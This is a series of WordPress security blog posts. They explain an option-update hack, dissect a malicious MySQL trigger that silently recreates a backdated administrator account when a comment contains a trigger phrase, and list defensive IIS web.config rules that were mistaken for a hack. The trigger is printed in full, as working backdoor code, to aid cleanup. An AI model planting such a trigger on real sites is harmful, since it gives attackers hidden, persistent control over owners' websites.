Category: WordPress

Oftentimes, when it comes to how WordPress websites have been hacked, it is hard to say without doing a proper cleanup what was the original source of the hack. But in some cases it is easy to say what was likely the cause. Take this description of what happened with a recently hacked WordPress website:

Yesterday at 23:08 I received an email from my wordpress “Admin Email Changed”: “[…]The new admin email address is ad@example.com.[…]”

Right after that, a new user registered, cryptic username “wpnew_kmyjzvfyoflv” This username had admin role!

Today in the morning when I realized, I checked, in the settings was “Anyone can register” checked and standard userrole is Administrator.

What you have there is a hacker being able to change three WordPress settings. The admin email address for the website, whether anyone can register for an account, and the default user role for new accounts. How could they do that? Either they would need the ability to directly change the content of the database used for the website or they would need to be able to change arbitrary WordPress settings.

You can rule out the first as the likely cause, as a hacker could, among other things, create a new Administrator account without going through additional steps if they have direct access to the database.

That leaves the second option. The cause of that is almost certainly going to be what is usually referred to as an option update vulnerability. That is a type of vulnerability that hackers are guaranteed to try to exploit if they know about them.

In addition to cleaning up whatever the hacker does once they have changed the WordPress settings, you need to make sure the vulnerability has been fixed to address this. That might be as simple as updating a plugin, if it has had that type of vulnerability and it has been fixed. If you don’t know what the source is and you don’t have the capability to figure that out, then it is time to bring in someone who has the capability to both review the log files for the website and review the plugins being used on the website.

It is pretty common for it to appear that hacked WordPress websites have gotten re-hacked. What we find from being brought in to re-clean them is that often websites haven’t been re-hacked, instead the original cleanup was incomplete, leaving parts of the hack in place. Often that is because whomever did the original clean up cut corners during the cleanup, but it is also possible the hacker has hidden something in ways that it would be reasonable to have missed, based on what hackers commonly do.

A recent post on WordPress’ forum mentioned an example of the latter, which is worth highlighting. According to the poster, a database trigger was added to the database for the website, which would create a new WordPress user account for the hacker. A database trigger involves code that runs automatically in certain circumstances. The code was:

BEGIN
     IF NEW.comment_content LIKE '%are you struggling to get comments on your blog?%' THEN
         SET @lastInsertWpUsersId = (SELECT MAX(id) FROM database.wp_users);
         SET @nextWpUsersID = @lastInsertWpUsersId + 1;
         INSERT INTO database.wp_users (ID, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES (@nextWpUsersID, 'wpadmin', '$1$yUXpYwXN$JhwwoGJxViPhtGdNG5UZs0', 'wpadmin', 'wp-security@hotmail.com', 'http://wordpress.com', '2014-06-08 00:00:00', '', '0', 'Kris');
         INSERT INTO database.wp_usermeta (umeta_id, user_id, meta_key, meta_value) VALUES (NULL, @nextWpUsersID, 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}');
         INSERT INTO database.wp_usermeta (umeta_id, user_id, meta_key, meta_value) VALUES (NULL, @nextWpUsersID, 'wp_user_level', '10');
     END IF;
 END

The second line of that causes the rest of the code to run if a new blog comment is created that contains the phrase “are you struggling to get comments on your blog?” in it.

The rest of the code creates a new WordPress user account with the username “wpadmin” that has the Administrator role. As is pretty common, the email associated with the account is made to look like it might be something official or security related. In this case it is “wp-security@hotmail.com”.

What is slightly more sophisticated than we usually see with malicious WordPress user accounts created through the database is that the account has a creation date, and one well in the past, “2014-06-08 00:00:00”.

It is important to note for anyone coming across this while trying to figure out how a malicious WordPress user account has been added or re-added, that there are other ways hackers can do this. For example, if a hacker has direct access to the database, then they can create an account. So if, say, the database password wasn’t changed when the website was being cleaned up, the hacker might be able to gain access to the database that way. It is also possible for them to indirectly access the database, say, with malicious code in one of the website’s files.

Often times you can start figuring out how the hacker has re-gained access to the website by reviewing the log files for the website. Even in this case, there would be activity from the hacker logged, from when they posted the comment. Though, it wouldn’t be obvious that it would be malicious activity, as it would be when a request is being sent to a file on the website that shouldn’t be there or that shouldn’t be receiving direct requests.

Recently we mentioned the importance of security companies checking to make sure that websites they are being contacted about cleaning are in fact hacked. The reason for that is often problems unrelated to a hack are believed to beloved to be caused one, leading to people looking for unnecessary cleanups.

In one reason situation the person who contacted us was sure that their WordPress website was hacked due to rules (or code) in the web.config, which is a configuration for websites being hosted on IIS web servers, for the website that actually were there to protect the website.

As an example of what was at issue, the following rule would restrict accessing .php files in the WordPress uploads directory, which would prevent a hacker from running code if they could upload .php files through some vulnerability:

<rule name="Deny scripts from wp-content/uploads for WordPress instance #6" enabled="true" stopProcessing="true">
	<match url="^wp-content/uploads/.+\.php" />
	<conditions />
	<serverVariables />
	<action type="CustomResponse" statusCode="403" statusReason="Forbidden" statusDescription="Forbidden" />
</rule>

The rules may have been generated by the Plesk control panel.

Here are all the rules in question in case someone else is searching for information on this:

<rule name="Block wp-config.php for WordPress instances" enabled="true" stopProcessing="true">
	<match url="wp-config.php" />
	<conditions />
	<serverVariables />
	<action type="CustomResponse" statusCode="403" statusReason="Forbidden" statusDescription="Forbidden" />
</rule>
<rule name="Deny scripts from wp-includes for WordPress instance #6" enabled="true" stopProcessing="true">
	<match url="^wp-includes/.+\.php" />
	<conditions>
		<add input="{REQUEST_URI}" pattern="^/wp-includes/js/tinymce/wp-tinymce\.php$" ignoreCase="false" negate="true" />
	</conditions>
	<serverVariables />
	<action type="CustomResponse" statusCode="403" statusReason="Forbidden" statusDescription="Forbidden" />
</rule>
<rule name="Deny scripts from wp-content/uploads for WordPress instance #6" enabled="true" stopProcessing="true">
	<match url="^wp-content/uploads/.+\.php" />
	<conditions />
	<serverVariables />
	<action type="CustomResponse" statusCode="403" statusReason="Forbidden" statusDescription="Forbidden" />
</rule>